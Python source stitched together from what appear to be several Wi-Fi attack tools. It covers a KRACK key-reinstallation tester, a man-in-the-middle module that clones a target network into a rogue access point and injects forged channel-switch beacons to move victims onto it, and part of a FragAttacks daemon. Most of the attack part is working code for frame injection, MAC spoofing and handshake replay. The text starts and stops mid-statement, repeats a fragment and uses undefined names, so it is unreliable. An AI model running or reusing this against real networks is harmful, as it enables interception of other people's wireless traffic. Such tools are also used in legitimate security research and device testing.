ARP( op=1, hwsrc=self.apmac, psrc=self.group_ip, pdst=clientip) self.sock_eth.send(request) def handle_mon(self): p = self.sock_mon.recv() if p == None: return if p.type == 1: return if (p.FCfield & 2) != 0: clientmac, apmac = (p.addr1, p.addr2) else: clientmac, apmac = (p.addr2, p.addr1) if apmac != self.apmac: return None elif p.addr1 == self.apmac and Dot11WEP in p: if not clientmac in self.clients: self.clients[clientmac] = ClientState(clientmac) client = self.clients[clientmac] iv = dot11_get_iv(p) log( DEBUG, "%s: transmitted data using IV=%d (seq=%d)" % (clientmac, iv, dot11_get_seqnum(p))) if decrypt_ccmp(p, "\x00" * 16).startswith("\xAA\xAA\x03\x00\x00\x00"): client.mark_allzero_key(p) client.check_pairwise_reinstall(p) client.track_used_iv(p) def handle_eth(self): p = self.sock_eth.recv() if p == None or not Ether in p: return self.process_eth_rx(p) def process_eth_rx(self, p): self.dhcp.reply(p) self.group_arp.reply(p) clientmac = p[Ether].src if not clientmac in self.clients: return client = self.clients[clientmac] def stop(self): log(STATUS, "Closing hostapd and cleaning up ...") if self.hostapd: self.hostapd.terminate() self.hostapd.wait() if self.sock_mon: self.sock_mon.close() if self.sock_eth: self.sock_eth.close()
class KRAckAttackClient(): def __init__(self): # Parse hostapd.conf self.script_path = os.path.dirname(os.path.realpath(__file__)) try: interface = hostapd_read_config( os.path.join(self.script_path, "hostapd.conf")) except Exception as ex: log(ERROR, "Failed to parse the hostapd.conf config file") raise if not interface: log( ERROR, 'Failed to determine wireless interface. Specify one in hostapd.conf at the line "interface=NAME".' ) quit(1) # Set other variables self.nic_iface = interface self.nic_mon = interface + "mon" self.options = None try: self.apmac = scapy.arch.get_if_hwaddr(interface) except: log( ERROR, 'Failed to get MAC address of %s. Specify an existing interface in hostapd.conf at the line "interface=NAME".' % interface) raise self.sock_mon = None self.sock_eth = None self.hostapd = None self.hostapd_ctrl = None self.dhcp = None self.broadcast_sender_ip = None self.broadcast_arp_sock = None self.clients = dict() def reset_client_info(self, clientmac): if clientmac in self.dhcp.leases: self.dhcp.remove_client(clientmac) log(DEBUG, "%s: Removing client from DHCP leases" % clientmac) if clientmac in self.clients: del self.clients[clientmac] log(DEBUG, "%s: Removing ClientState object" % clientmac) def handle_replay(self, p): """Replayed frames (caused by a pairwise key reinstallation) are rejected by the kernel. This function processes these frames manually so we can still test reinstallations of the group key.""" if not Dot11WEP in p: return # Reconstruct Ethernet header clientmac = p.addr2 header = Ether(dst=self.apmac, src=clientmac) header.time = p.time # Decrypt the payload and obtain LLC/SNAP header and packet content client = self.clients[clientmac] plaintext = client.decrypt(p, self.hostapd_ctrl) llcsnap, packet = plaintext[:8], plaintext[8:] # Rebuild the full Ethernet packet if llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x06": decap = header / ARP(packet) elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x00": decap = header / IP(packet) elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x86\xdd": decap = header / IPv6(packet) #elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x88\x8e": # # EAPOL else: return # Now process the packet as if it were a valid (non-replayed) one self.process_eth_rx(decap) #AQUI QUE COMEÇA A CHECAR AS VUNERABILIDADES def handle_mon_rx(self): p = self.sock_mon.recv() if p == None: return if p.type == 1: return # Note: we cannot verify that the NIC is indeed reusing IVs when sending the broadcast # ARP requests, because it may override them in the firmware/hardware (some Atheros # Wi-Fi NICs do no properly reset the Tx group key IV when using hardware encryption). # The first bit in FCfield is set if the frames is "to-DS" clientmac, apmac = (p.addr1, p.addr2) if (p.FCfield & 2) != 0 else (p.addr2, p.addr1) if apmac != self.apmac: return None # Reset info about disconnected clients if Dot11Deauth in p or Dot11Disas in p: self.reset_client_info(clientmac) # Inspect encrypt frames for IV reuse & handle replayed frames rejected by the kernel elif p.addr1 == self.apmac and Dot11WEP in p: if not clientmac in self.clients: self.clients[clientmac] = ClientState(clientmac, options=options) client = self.clients[clientmac] iv = dot11_get_iv(p) log( DEBUG, "%s: transmitted data using IV=%d (seq=%d)" % (clientmac, iv, dot11_get_seqnum(p))) # 101010101010101000000011000000000000000000000000 # checa se a chave de criptografia é AllZero(zerada): # descriptografa a mensagem usando uma chave AllZero, e se o resultado iniciar com # o valor acima, significa que a chave que encriptou a mensagem original era AllZero if decrypt_ccmp(p, "\x00" * 16).startswith("\xAA\xAA\x03\x00\x00\x00"): client.mark_allzero_key(p) if self.options.variant == TestOptions.Fourway and not self.options.gtkinit: client.check_pairwise_reinstall(p) if client.is_iv_reused(p): self.handle_replay(p) client.track_used_iv(p) def process_eth_rx(self, p): self.dhcp.reply(p) self.broadcast_arp_sock.reply(p) clientmac = p[Ether].src if not clientmac in self.clients: return client = self.clients[clientmac] if ARP in p and p[ARP].pdst == self.broadcast_sender_ip: client.broadcast_process_reply(p) def handle_eth_rx(self): p = self.sock_eth.recv() if p == None or not Ether in p: return self.process_eth_rx(p) def broadcast_send_request(self, client): clientip = self.dhcp.leases[client.mac] # Print a message when we start testing the client --- XXX this should be in the client? if client.broadcast_state == ClientState.IDLE: hstype = "group key" if self.options.variant == TestOptions.Grouphs else "4-way" log( STATUS, "%s: client has IP address -> now sending replayed broadcast ARP packets" % client.mac) client.broadcast_state = ClientState.STARTED # Send a new handshake message when testing the group key handshake if self.options.variant == TestOptions.Grouphs: cmd = "RESEND_GROUP_M1 " + client.mac cmd += "maxrsc" if self.options.gtkinit else "" hostapd_command(self.hostapd_ctrl, cmd) # Send a replayed broadcast ARP request to the client request = Ether(src=self.apmac, dst="ff:ff:ff:ff:ff:ff") / ARP( op=1, hwsrc=self.apmac, psrc=self.broadcast_sender_ip, pdst=clientip) self.sock_eth.send(request) client.broadcast_requests_sent += 1 log( INFO, "%s: sending broadcast ARP to %s from %s (sent %d ARPs this interval)" % (client.mac, clientip, self.broadcast_sender_ip, client.broadcast_requests_sent)) def experimental_test_igtk_installation(self): """To test if the IGTK is installed using the given replay counter""" # 1. Set ieee80211w=2 in hostapd.conf # 2. Run this script using --gtkinit so a new group key is generated before calling this function # 3. Install the new IGTK using a very high given replay counter hostapd_command(self.hostapd_ctrl, "RESEND_GROUP_M1 %s maxrsc" % client.mac) time.sleep(1) # 4. Now kill the AP quit(1) # 5. Hostapd sends a broadcast deauth message. At least iOS will reply using its own # deauthentication respose if this frame is accepted. Sometimes hostapd doesn't # send a broadcast deauthentication. Is this when the client is sleeping? def configure_interfaces(self): log( STATUS, "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script." ) # 0. Some users may forget this otherwise subprocess.check_output(["rfkill", "unblock", "wifi"]) # 1. Remove unused virtual interfaces to start from a clean state subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) # 2. Configure monitor mode on interfaces subprocess.check_output([ "iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor" ]) # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) time.sleep(0.5) subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) subprocess.check_output(["ifconfig", self.nic_mon, "up"]) def run(self, options): self.options = options self.configure_interfaces() # Open the patched hostapd instance that carries out tests and let it start log(STATUS, "Starting hostapd ...") try: self.hostapd = subprocess.Popen([ os.path.join(self.script_path, "../hostapd/hostapd"), os.path.join(self.script_path, "hostapd.conf") ] + sys.argv[1:]) except: if not os.path.exists("../hostapd/hostapd"): log( ERROR, "hostapd executable not found. Did you compile hostapd? Use --help param for more info." ) raise time.sleep(1) try: self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface) self.hostapd_ctrl.attach() except: log( ERROR, "It seems hostapd did not start properly, please inspect its output." ) log( ERROR, "Did you disable Wi-Fi in the network manager? Otherwise hostapd won't work." ) raise self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon) self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface) # Let scapy handle DHCP requests self.dhcp = DHCP_sock(sock=self.sock_eth, domain='krackattack.com', pool=Net('192.168.100.0/24'), network='192.168.100.0/24', gw='192.168.100.254', renewal_time=600, lease_time=3600) # Configure gateway IP: reply to ARP and ping requests subprocess.check_output( ["ifconfig", self.nic_iface, "192.168.100.254"]) # Use a dedicated IP address for our broadcast ARP requests and replies self.broadcast_sender_ip = self.dhcp.pool.pop() self.broadcast_arp_sock = ARP_sock(sock=self.sock_eth, IP_addr=self.broadcast_sender_ip, ARP_addr=self.apmac) log(STATUS, "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!", color="green") # Monitor both the normal interface and virtual monitor interface of the AP self.next_arp = time.time() + 1 while True: sel = select.select([self.sock_mon, self.sock_eth], [], [], 1) if self.sock_mon in sel[0]: self.handle_mon_rx() if self.sock_eth in sel[0]: self.handle_eth_rx() # Periodically send the replayed broadcast ARP requests to test for group key reinstallations if time.time() > self.next_arp: # When testing if the replay counter of the group key is properly installed, always install # a new group key. Otherwise KRACK patches might interfere with this test. # Otherwise just reset the replay counter of the current group key. if self.options.variant in [ TestOptions.Fourway, TestOptions.Grouphs ] and self.options.gtkinit: hostapd_command(self.hostapd_ctrl, "RENEW_GTK") else: hostapd_command(self.hostapd_ctrl, "RESET_PN FF:FF:FF:FF:FF:FF") self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL for client in self.clients.values(): #self.experimental_test_igtk_installation() # 1. Test the 4-way handshake if self.options.variant == TestOptions.Fourway and self.options.gtkinit and client.vuln_bcast != ClientState.VULNERABLE: # Execute a new handshake to test stations that don't accept a retransmitted message 3 hostapd_command(self.hostapd_ctrl, "RENEW_PTK " + client.mac) # TODO: wait untill 4-way handshake completed? And detect failures (it's sensitive to frame losses)? elif self.options.variant == TestOptions.Fourway and not self.options.gtkinit and client.vuln_4way != ClientState.VULNERABLE: # First inject a message 1 if requested using the TPTK option if self.options.tptk == TestOptions.TptkReplay: hostapd_command(self.hostapd_ctrl, "RESEND_M1 " + client.mac) elif self.options.tptk == TestOptions.TptkRand: hostapd_command( self.hostapd_ctrl, "RESEND_M1 " + client.mac + " change-anonce") # Note that we rely on an encrypted message 4 as reply to detect pairwise key reinstallations reinstallations. hostapd_command( self.hostapd_ctrl, "RESEND_M3 " + client.mac + (" maxrsc" if self.options.gtkinit else "")) # 2. Test if broadcast ARP request are accepted by the client. Keep injecting even # to PATCHED clients (just to be sure they keep rejecting replayed frames). if self.options.variant in [ TestOptions.Fourway, TestOptions.Grouphs, TestOptions.ReplayBroadcast ]: # 2a. Check if we got replies to previous requests (and determine if vulnerable) client.broadcast_check_replies() # 2b. Send new broadcast ARP requests (and handshake messages if needed) if client.vuln_bcast != ClientState.VULNERABLE and client.mac in self.dhcp.leases: time.sleep(1) self.broadcast_send_request(client) def stop(self): log(STATUS, "Closing hostapd and cleaning up ...") if self.hostapd: self.hostapd.terminate() self.hostapd.wait() if self.sock_mon: self.sock_mon.close() if self.sock_eth: self.sock_eth.close()
class MitmChannelBased(): ''' Module: mitm_code === Description: Obtain the configuration of the target network, clone to a Rogue AP, configure interfaces and start a new instance of `hostapd` to obtain the MitM Channel Based ''' def __init__(self, nic_real, nic_rogue_ap, nic_rogue_mon, ssid, group=False, clientmac=None, dumpfile=None): self.ssid = None self.real_channel = None self.group_cipher = None self.wpavers = 0 self.pairwise_ciphers = set() self.akms = set() self.wmmenabled = 0 self.capab = 0 self.group = group self.nic_real_clientack = None self.nic_real = nic_real self.nic_rogue_ap = nic_rogue_ap self.nic_rogue_mon = nic_rogue_mon self.clientmac = clientmac self.sock_real = None self.sock_rogue = None self.dumpfile = dumpfile self.beacon = None self.ssid = ssid self.apmac = None self.netconfig = None self.hostapd = None self.hostapd_log = None def is_wparsn(self): ''' Module: mitm_code === Class: MitmChannelBased --- Description: verifies if the target network is WPA or WPA2 protected ''' return not self.group_cipher is None and self.wpavers > 0 and \ len(self.pairwise_ciphers) > 0 and len(self.akms) > 0 # TODO: Improved parsing to handle more networks def parse_wparsn(self, wparsn): ''' Module: mitm_code === Class: MitmChannelBased --- Description: obtains information about network security configurations Informations obtained: group_cipher pairwise_ciphers akms (auth key managment) RSN capabilites ''' self.group_cipher = ord(wparsn[5]) num_pairwise = struct.unpack("<H", wparsn[6:8])[0] pos = wparsn[8:] for i in range(num_pairwise): self.pairwise_ciphers.add(ord(pos[3])) pos = pos[4:] num_akm = struct.unpack("<H", pos[:2])[0] pos = pos[2:] for i in range(num_akm): self.akms.add(ord(pos[3])) pos = pos[4:] if len(pos) >= 2: self.capab = struct.unpack("<H", pos[:2])[0] #TODO - Change the WMMENABLED from 0 to int(args.group) def from_beacon(self, p): ''' Module: mitm_code === Class: MitmChannelBased --- Description: obtains a beacon packet from the target network and extracts information from that to clone the Rogue AP Arguments: p: 802.11 Beacon packet Informations extracted: self.ssid = SSID self.real_channel = Channel self.wpavers = WPA 1 or WPA 2 self.group_cipher = Group Cipher self.pairwise_ciphers = Pairwise Ciphers self.akms = Auth Key Management (akm) self.capab = RSN Capabilities self.wmm enabled = WMM enabled(1) or disabled(0) ''' el = p[Dot11Elt] while isinstance(el, Dot11Elt): if el.ID == IEEE_TLV_TYPE_SSID: self.ssid = el.info elif el.ID == IEEE_TLV_TYPE_CHANNEL: self.real_channel = ord(el.info[0]) elif el.ID == IEEE_TLV_TYPE_RSN: self.parse_wparsn(el.info) self.wpavers |= 2 elif el.ID == IEEE_TLV_TYPE_VENDOR and el.info[: 4] == "\x00\x50\xf2\x01": self.parse_wparsn(el.info[4:]) self.wpavers |= 1 elif el.ID == IEEE_TLV_TYPE_VENDOR and el.info[: 4] == "\x00\x50\xf2\x02": self.wmmenabled = 1 el = el.payload # TODO: Check that there also isn't a real AP of this network on # the returned channel (possible for large networks e.g. eduroam). def find_rogue_channel(self): ''' Module: mitm_code === Class: MitmChannelBased --- Description: find a new channel for Rogue AP operate Rules: if real_channel >= 6, rogue_channel = 1 else rogue_channel = 11 ''' self.rogue_channel = 1 if self.real_channel >= 6 else 11 def write_config(self, iface): ''' Module: mitm_code === Class: MitmChannelBased --- Description: write the configuration file for `hostapd_rogue.conf` Arguments: iface: interface on which the Rogue AP will operate ''' TEMPLATE = """ ctrl_interface=hostapd_ctrl ctrl_interface_group=0 interface={iface} ssid={ssid} channel={channel} wpa={wpaver} wpa_key_mgmt={akms} wpa_pairwise={pairwise} rsn_pairwise={pairwise} rsn_ptksa_counters={ptksa_counters} rsn_gtksa_counters={gtksa_counters} wmm_enabled={wmmenabled} wmm_advertised={wmmadvertised} hw_mode=g auth_algs=3 wpa_passphrase=XXXXXXXX""" akm2str = {2: "WPA-PSK", 1: "WPA-EAP"} ciphers2str = {2: "TKIP", 4: "CCMP"} return TEMPLATE.format( iface=iface, ssid=self.ssid, channel=self.rogue_channel, wpaver=self.wpavers, akms=" ".join([akm2str[idx] for idx in self.akms]), pairwise=" ".join( [ciphers2str[idx] for idx in self.pairwise_ciphers]), ptksa_counters=(self.capab & 0b001100) >> 2, gtksa_counters=(self.capab & 0b110000) >> 4, wmmadvertised=int(self.group), wmmenabled=self.wmmenabled) def create_sockets(self, strict_echo_test=False): ''' Module: mitm_code === Class: MitmChannelBased --- Configure the sockets on monitor interfaces: self.nic_real: self.sock_real self.nic_rogue_mon: self.sock_rogue ''' self.sock_real = MitmSocket(type=ETH_P_ALL, iface=self.nic_real, dumpfile=self.dumpfile, strict_echo_test=strict_echo_test) self.sock_rogue = MitmSocket(type=ETH_P_ALL, iface=self.nic_rogue_mon, dumpfile=self.dumpfile, strict_echo_test=strict_echo_test) def find_beacon(self, ssid): ''' Module: mitm_code === Class: MitmChannelBased --- Description: search for a beacon sent by the target network. First, it searchs on the current channel, if it doesn't found, it starts to search on the other channels. Arguments: SSID - the name of the target network When a beacon is found, some actions occur: the actual_channel gets the channel set in the beacon the sock_real is set to the actual_channel the beacon is stored in the self.beacon variable the source address is stored in the self.apmac variable ''' ps = sniff(count=1, timeout=0.3, lfilter=lambda p: Dot11Beacon in p and get_tlv_value( p, IEEE_TLV_TYPE_SSID) == ssid, opened_socket=self.sock_real) if ps is None or len(ps) < 1: log(STATUS, "Searching for target network on other channels") for chan in [1, 6, 11, 3, 8, 2, 7, 4, 10, 5, 9, 12, 13]: self.sock_real.set_channel(chan) log(DEBUG, "Listening on channel %d" % chan) ps = sniff(count=1, timeout=0.3, lfilter=lambda p: Dot11Beacon in p and get_tlv_value(p, IEEE_TLV_TYPE_SSID) == ssid, opened_socket=self.sock_real) if ps and len(ps) >= 1: break if ps and len(ps) >= 1: actual_chan = ord(get_tlv_value(ps[0], IEEE_TLV_TYPE_CHANNEL)) self.sock_real.set_channel(actual_chan) self.beacon = ps[0] self.apmac = self.beacon.addr2 if self.beacon is None: log( ERROR, "No beacon received of network <%s>. Is monitor mode working? Did you enter the correct SSID?" % self.ssid) exit(1) def configure_interfaces(self): ''' Module: mitm_code === Class: MitmChannelBased --- Description: configure NIC interfaces to work with MitM Attack Interfaces Configured: Real Channel self.nic_real - type monitor self.nic_real + "sta1" - type managed Rogue Channel self.nic_rogue_ap - type managed self.nic_rogue_ap + "mon" - type monior ''' # 0. Warn about common mistakes log( STATUS, "Note: remember to disable Wi-Fi in your network manager so it doesn't interfere with this script" ) # This happens when targetting a specific client: both interfaces will ACK frames from each other due to the capture # effect, meaning certain frames will not reach the rogue AP or the client. As a result, the client will disconnect. log( STATUS, "Note: keep >1 meter between both interfaces. Else packet delivery is unreliable & target may disconnect" ) # 1. Remove unused virtual interfaces subprocess.call(["iw", self.nic_real + "sta1", "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) if self.nic_rogue_mon is None: subprocess.call(["iw", self.nic_rogue_ap + "mon", "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) # 2. Configure monitor mode on interfaces subprocess.check_output(["ifconfig", self.nic_real, "down"]) subprocess.check_output( ["iw", self.nic_real, "set", "type", "monitor"]) if self.nic_rogue_mon is None: self.nic_rogue_mon = self.nic_rogue_ap + "mon" subprocess.check_output([ "iw", self.nic_rogue_ap, "interface", "add", self.nic_rogue_mon, "type", "monitor" ]) # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly # sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface. subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"]) time.sleep(0.2) subprocess.check_output(["ifconfig", self.nic_rogue_mon, "down"]) subprocess.check_output( ["iw", self.nic_rogue_mon, "set", "type", "monitor"]) subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"]) # 3. Configure interface on real channel to ACK frames if self.clientmac: self.nic_real_clientack = self.nic_real + "sta1" subprocess.check_output([ "iw", self.nic_real, "interface", "add", self.nic_real_clientack, "type", "managed" ]) call_macchanger(self.nic_real_clientack, self.clientmac) else: # Note: some APs require handshake messages to be ACKed before proceeding (e.g. Broadcom waits for ACK on Msg1) log( WARNING, "WARNING: Targeting ALL clients is not fully supported! Please provide a specific target using --target." ) # Sleep for a second to make this warning very explicit time.sleep(1) # 4. Finally put the interfaces up subprocess.check_output(["ifconfig", self.nic_real, "up"]) subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"]) def send_csa_beacon(self, numbeacons=1, newchannel=1, target=None, silent=False): ''' Module: mitm_code === Class: MitmChannelBased --- Description: it sends `numbeacons` pairs of csa_beacon packets on the network. It takes the beacon sent by the target network and append the CSA element to it. The packet is sent througth the Real Socket. Arguments: numbeacons: number of pairs of csa_beacons to send target: specify a client MAC Address, if necessary silent: if True, the log message is not displayed newchannel: channel to switch ''' beacon = self.beacon.copy() if target: beacon.addr1 = target for i in range(numbeacons): # Note: Intel firmware requires first receiving a CSA beacon with a count of 2 or higher, # followed by one with a value of 1. When starting with 1 it errors out. csabeacon = append_csa(beacon, newchannel, 2) self.sock_real.send(csabeacon) csabeacon = append_csa(beacon, newchannel, 1) self.sock_real.send(csabeacon) if not silent: log(STATUS, "Injected %d CSA beacon pairs (moving stations to channel %d)" % (numbeacons, newchannel), color="green") def init_hostapd(self): ''' Module: mitm_code === Class: MitmChannelBased --- Description: initiate a `hostapd` instance on `nic_rogue_ap` interface ''' with open("hostapd_rogue.conf", "w") as fp: fp.write(self.write_config(self.nic_rogue_ap)) self.hostapd = subprocess.Popen( ["../hostapd/hostapd", "hostapd_rogue.conf", "-dd", "-K"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.hostapd_log = open("hostapd_rogue.log", "w") log(STATUS, "Giving the rogue hostapd one second to initialize ...") time.sleep(1) self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_rogue_ap) self.hostapd_ctrl.attach() def hostapd_rx_mgmt(self, p): ''' Module: mitm_code === Class: MitmChannelBased --- Description: manage packets sent to hostapd instance Arguments: p: 802.11 packet ''' log(DEBUG, "Sent frame to hostapd: %s" % dot11_to_str(p)) self.hostapd_ctrl.request("RX_MGMT " + str(p[Dot11]).encode("hex")) def hostapd_add_sta(self, macaddr): ''' Module: mitm_code === Class: MitmChannelBased --- Description: forward authentication packet to Rogue AP sent by the client Arguments: macaddr: the MAC address of the client to register ''' log(DEBUG, "Forwarding auth to rouge AP to register client", showtime=False) self.hostapd_rx_mgmt( Dot11(addr1=self.apmac, addr2=macaddr, addr3=self.apmac) / Dot11Auth(seqnum=1)) def handle_hostapd_out(self): # hostapd always prints lines so this should not block line = self.hostapd.stdout.readline() if line == "": log(ERROR, "Rogue hostapd instances unexpectedly closed") quit(1) if line.startswith(">>>> "): log(STATUS, "Rogue hostapd: " + line[5:].strip()) elif line.startswith(">>> "): log(DEBUG, "Rogue hostapd: " + line[4:].strip()) # This is a bit hacky but very usefull for quick debugging elif "fc=0xc0" in line: log(WARNING, "Rogue hostapd: " + line.strip()) elif "sta_remove" in line or "Add STA" in line or "disassoc cb" in line or "disassocation: STA" in line: log(DEBUG, "Rogue hostapd: " + line.strip()) else: log(ALL, "Rogue hostapd: " + line.strip()) self.hostapd_log.write(datetime.now().strftime('[%H:%M:%S] ') + line)
class Daemon(metaclass=abc.ABCMeta): def __init__(self, options): self.options = options self.nic_iface = None self.nic_mon = None self.nic_hwsim = None self.process = None self.sock_eth = None self.sock_mon = None self.sock_hwsim = None self.wpaspy_pending = [] @abc.abstractmethod def start_daemon(self): pass def configure_daemon(self): pass def handle_mon(self, p): pass def handle_eth(self, p): pass @abc.abstractmethod def time_tick(self, station): pass @abc.abstractmethod def get_tk(self, station): pass def get_gtk(self): gtk, idx = self.wpaspy_command("GET_GTK").split() return bytes.fromhex(gtk), int(idx) @abc.abstractmethod def get_ip(self, station): pass @abc.abstractmethod def rekey(self, station): pass @abc.abstractmethod def reconnect(self, station): pass def wpaspy_clear_messages(self): while self.wpaspy_ctrl.pending(): self.wpaspy_ctrl.recv() def wpaspy_command(self, cmd): #self.wpaspy_clear_messages(ctrl) # Include console prefix so we can ignore other messages sent over the control interface response = self.wpaspy_ctrl.request("> " + cmd) while not response.startswith("> "): self.wpaspy_pending.append(response) log(DEBUG, "<appending> " + response) response = self.wpaspy_ctrl.recv() if "UNKNOWN COMMAND" in response: log(ERROR, "wpa_supplicant did not recognize the command %s. Did you (re)compile wpa_supplicant/hostapd?" % cmd.split()[0]) quit(1) elif "FAIL" in response: log(ERROR, f"Failed to execute command {cmd}") quit(1) return response[2:] def configure_interfaces(self): try: subprocess.check_output(["rfkill", "unblock", "wifi"]) except Exception as ex: log(ERROR, "Are you running as root (and in a Python virtualenv)?") quit(1) self.nic_iface = self.options.iface # TODO: Check if the interfaces exists # 0. Verify whether patched drivers are being used if not self.options.no_drivercheck: if not os.path.exists("/sys/module/mac80211/parameters/"): log(WARNING, "WARNING: Unable to check whether you are using patched drivers.") elif not os.path.exists("/sys/module/mac80211/parameters/fragattack_version"): log(ERROR, "You are not running patched drivers, meaning this tool may give incorrect results!") log(STATUS, "To ignore this warning and timeout add the parameter --no-drivercheck") time.sleep(5) elif FRAGVERSION != open("/sys/module/mac80211/parameters/fragattack_version").read().strip(): version = open("/sys/module/mac80211/parameters/fragattack_version").read().strip() log(ERROR, f"This script has version {FRAGVERSION} but the modified drivers are version {version}.") log(ERROR, f"Recompile and reinstall the modified drivers or add --no-drivercheck (see the README for details).") quit(1) # 1. Assign/create interfaces according to provided options if self.options.hwsim: # TODO: Automatically create both interfaces? self.nic_iface, self.nic_hwsim = self.options.hwsim.split(",") self.nic_mon = self.options.iface set_macaddress(self.nic_iface, get_macaddress(self.nic_mon)) if not self.options.ap: log(WARNING, f"Note: you must manually set {self.nic_mon} on the channel of the AP") elif self.options.inject: # Use the provided interface to monitor/inject frames self.nic_mon = self.options.inject else: # Create second virtual interface in monitor mode. Note: some kernels # don't support interface names of 15+ characters. self.nic_mon = "mon" + self.nic_iface[:12] # Only create a new monitor interface if it does not yet exist try: scapy.arch.get_if_index(self.nic_mon) except IOError: subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"]) # 2.A Remember whether to need to use injection workarounds. driver = get_device_driver(self.nic_mon) if driver == None: log(WARNING, "Unable to detect driver of interface!") log(WARNING, "Injecting fragments may be unreliable.") elif driver in ["ath9k_htc", "iwlwifi"]: # Assure that fragmented frames are reliably injected on certain iwlwifi and ath9k_htc devices self.options.inject_mf_workaround = True log(STATUS, f"Detected {driver}, using injection bug workarounds") # 2.B Check if ath9k_htc is using patched firmware if not self.options.no_drivercheck and driver == "ath9k_htc": try: with open("/sys/module/ath9k_htc/parameters/fragattack_fw") as fp: if not int(fp.read()) == 1: log(ERROR, "WARNING: It seems the ath9k_htc device is not using patched firmware!") log(STATUS, "To ignore this warning and timeout add the parameter --no-drivercheck") time.sleep(5) except: log(WARNING, "WARNING: Unable to check if the ath9k_htc device is using patched firmware!") # 3. Enable monitor mode set_monitor_mode(self.nic_mon) log(STATUS, f"Using interface {self.nic_mon} ({get_device_driver(self.nic_mon)}) to inject frames.") if self.nic_hwsim: set_monitor_mode(self.nic_hwsim) # 4. Configure test interface if used if self.options.inject_test != None and self.options.inject_test != "self": set_monitor_mode(self.options.inject_test) def inject_mon(self, p): self.sock_mon.send(p) def inject_eth(self, p): self.sock_eth.send(p) def connect_wpaspy(self): # Wait until daemon started time_abort = time.time() + 10 while not os.path.exists("wpaspy_ctrl/" + self.nic_iface) and time.time() < time_abort: time.sleep(0.1) # Abort if daemon didn't start properly if not os.path.exists("wpaspy_ctrl/" + self.nic_iface): log(ERROR, "Unable to connect to control interface. Did hostap/wpa_supplicant start properly?") log(ERROR, "Try recompiling them using ./build.sh and double-check client.conf and hostapd.conf.") quit(1) # Open the wpa_supplicant or hostapd control interface try: self.wpaspy_ctrl = Ctrl("wpaspy_ctrl/" + self.nic_iface) self.wpaspy_ctrl.attach() except: log(ERROR, "It seems wpa_supplicant/hostapd did not start properly.") log(ERROR, "Please restart it manually and inspect its output.") log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise it won't start properly.") raise def follow_channel(self): # We use GET_CHANNEL of wpa_s/hostapd because it's more reliable than get_channel, # which can fail on certain devices such as the AWUS036ACH. channel = self.wpaspy_command("GET_CHANNEL").strip() if self.options.inject: log(STATUS, f"{self.nic_mon}: setting to channel {channel}") set_channel(self.nic_mon, channel) elif self.options.hwsim: log(STATUS, f"{self.nic_hwsim}: setting to channel {channel}") log(STATUS, f"{self.nic_mon}: setting to channel {channel}") set_channel(self.nic_hwsim, channel) set_channel(self.nic_mon, channel) if self.options.inject_test != None and self.options.inject_test != "self": # FIXME: When using 40 MHz channel this call tends to fail the first time log(STATUS, f"{self.options.inject_test}: setting to channel {channel}") set_channel(self.options.inject_test, channel) # When explicitly testing we can afford a longer timeout. Otherwise we should avoid it. time.sleep(0.5) def injection_test(self, peermac, ownmac, is_postauth): # Only perform the test when explicitly requested if self.options.inject_test == None: return # If requested perform the test after authentication if self.options.inject_test_postauth != is_postauth: return try: test_iface = None if self.options.inject_test == "self" else self.options.inject_test test_injection(self.nic_mon, test_iface, peermac, ownmac, testack=is_postauth) except IOError as ex: log(WARNING, ex.args[0]) log(ERROR, "Unexpected error. Are you using the correct kernel/driver/device?") quit(1) log(DEBUG, f"Passed injection self-test on interface {self.nic_mon}.") quit(1) def forward_hwsim(self, p, s): if p == None: return if not Dot11 in p: return if p.type != 0 and p.type != 2: return if len(p) >= 2200: log(DEBUG, f"Cannot forward frame longer than MTU (length {len(p)}).") return # Due to very strange buy in Scapy, we cannot directly forward frames with a # Dot11Encrypted layer. So we first convert them into a raw byte stream. p = Raw(raw(p)) s.send(p) def run(self): self.configure_interfaces() # Remove old occurrences of the control interface that didn't get cleaned properly subprocess.call(["rm", "-rf", "wpaspy_ctrl/"]) self.start_daemon() self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface) self.sock_mon = MonitorSocket(type=ETH_P_ALL, iface=self.nic_mon) if self.nic_hwsim: self.sock_hwsim = MonitorSocket(type=ETH_P_ALL, iface=self.nic_hwsim) # Verify that hostap got recompiled on updates version = self.wpaspy_command("GET_VERSION").strip() if version != FRAGVERSION: log(ERROR, f"This script has version {FRAGVERSION} but compiled wpa_supplicant/hostapd is {version}.") log(ERROR, f"Please recompile hostapd/wpa_supplicant using `build.sh`.") quit(1) # Post-startup configuration of the supplicant or AP self.wpaspy_command("SET ext_eapol_frame_io 1") self.configure_daemon() # Monitor the virtual monitor interface of the client and perform the needed actions sockets = [self.sock_mon, self.sock_eth, self.wpaspy_ctrl.s] if self.sock_hwsim: sockets.append(self.sock_hwsim) while True: while 